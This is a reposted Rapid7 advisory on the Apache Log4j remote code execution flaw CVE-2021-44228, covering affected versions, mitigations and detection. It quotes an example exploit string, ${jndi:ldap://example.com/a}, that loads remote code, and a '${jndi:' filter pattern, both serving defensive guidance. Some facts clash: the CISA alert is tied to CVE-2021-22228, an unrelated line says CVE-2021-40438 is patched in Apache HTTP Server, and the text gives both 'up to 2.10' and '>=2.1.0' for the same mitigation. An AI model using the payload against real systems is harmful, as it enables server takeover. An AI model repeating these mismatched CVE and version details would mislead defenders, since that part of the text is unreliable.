Rapid 7 - Widespread Exploitation of Critical Remote Code Execution in Apache Log4j
Information and exploitation of this vulnerability are evolving quickly. We will update this blog with further information as it becomes available.
On December 10, 2021, Apache released version 2.15.0 of their Log4j framework, which included a fix for CVE-2021-44228, a critical (CVSSv3 10) remote code execution (RCE) vulnerability affecting Apache Log4j 2.14.1 and earlier versions. The vulnerability resides in the way specially crafted log messages were handled by the Log4j processor. Untrusted strings (e.g. those coming from input text fields, such as web application search boxes) containing content like ${jndi:ldap://example.com/a} would trigger a remote class load, message lookup, and execution of the associated content if message lookup substitution was enabled. Successful exploitation of CVE-2021-44228 can allow a remote, unauthenticated attacker to take full control of a vulnerable target system.
CVE-2021-44228 is being broadly and opportunistically exploited in the wild as of December 10, 2021. Multiple sources have noted both scanning and exploit attempts against this vulnerability, and proof-of-concept (PoC) code has evidently been available since March of 2021. We expect attacks to continue and increase: Defenders should invoke emergency mitigation processes as quickly as possible. CISA has also published an alert advising immediate mitigation of CVE-2021-22228.
A huge swath of products, frameworks, and cloud services implement Log4j, which is a popular Java logging library. Organizations should be prepared for a continual stream of downstream advisories from third-party software producers who include Log4j among their dependencies.
Affected versions
According to Apache’s advisory, all Apache Log4j (version 2.x) versions up to 2.14.1 are vulnerable if message lookup substitution was enabled. CVE-2021-40438 is patched in Apache HTTP Server 2.4.49 and later.
Mitigation and detection guidance
Security teams and network administrators should update to Log4J 2.15.0 immediately, invoking emergency patching and/or incident response procedures to identify affected systems, products, and components and remediate this vulnerability with the highest level of urgency. They should also monitor web application logs for evidence of attempts to execute methods from remote codebases (i.e. looking for jndi:ldap strings) and local system events on web application servers executing curl and other, known remote resource collection command line programs. Furthermore, we recommend paying close attention to security advisories mentioning Log4j and prioritizing updates for those solutions.
According to Apache’s advisory for CVE-2021-44228, the behavior that allows for exploitation of the flaw has been disabled by default starting in version 2.15.0. In releases prior to and including 2.10, the vulnerability can be mitigated by setting system property "log4j2.formatMsgNoLookups" to true or by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). Java 8u121 (see https://www.oracle.com/java/technologies/javase/8u121-relnotes.html) protects against RCE by defaulting com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to false.
According to a translated technical blog post, JDK versions greater than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP attack vector. com.sun.jndi.ldap.object.trustURLCodebase is set to false, meaning JNDI cannot load a remote codebase using LDAP. In Log4j releases >=2.1.0, this behavior can be mitigated by setting system property log4j2.formatMsgNoLookups to true or by removing the JndiLookup class from the classpath (e.g. zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class). Java 8u121 protects against RCE by defaulting com.sun.jndi.rmi.object.trustURLCodebase and com.sun.jndi.cosnaming.object.trustURLCodebase to false. Rapid7 researchers are working to validate that upgrading to higher JDK/JRE versions does fully mitigate attacks.
Rapid7 Labs, Managed Detection and Response (MDR), and tCell teams recommend filtering inbound requests that contain the string “${jndi:” in any inbound request and monitoring all application and web server logs for similar strings.
Rapid7 customers
InsightVM and Nexpose engineers are currently evaluating the feasibility of adding a vulnerability check.
Rapid7 InsightIDR has several detections that will identify common follow-on activity used by attackers. Additionally, our teams are reviewing our detection rule library to ensure we have detections based on any observed attacker behavior related to this vulnerability seen by our Incident Response (IR), MDR, and Threat Intelligence and Detection Engineering (TIDE) teams. Through continuous collaboration and threat landscape monitoring, we ensure product coverage for the latest techniques being used by malicious actors.
A Velociraptor artifact has been added that can be used to hunt against an environment for exploitation attempts against log4j RCE vulnerability.
from Rapid7 Blog https://blog.rapid7.com/2021/12/10/widespread-exploitation-of-critical-remote-code-execution-in-apache-log4j/
Comments
Post a Comment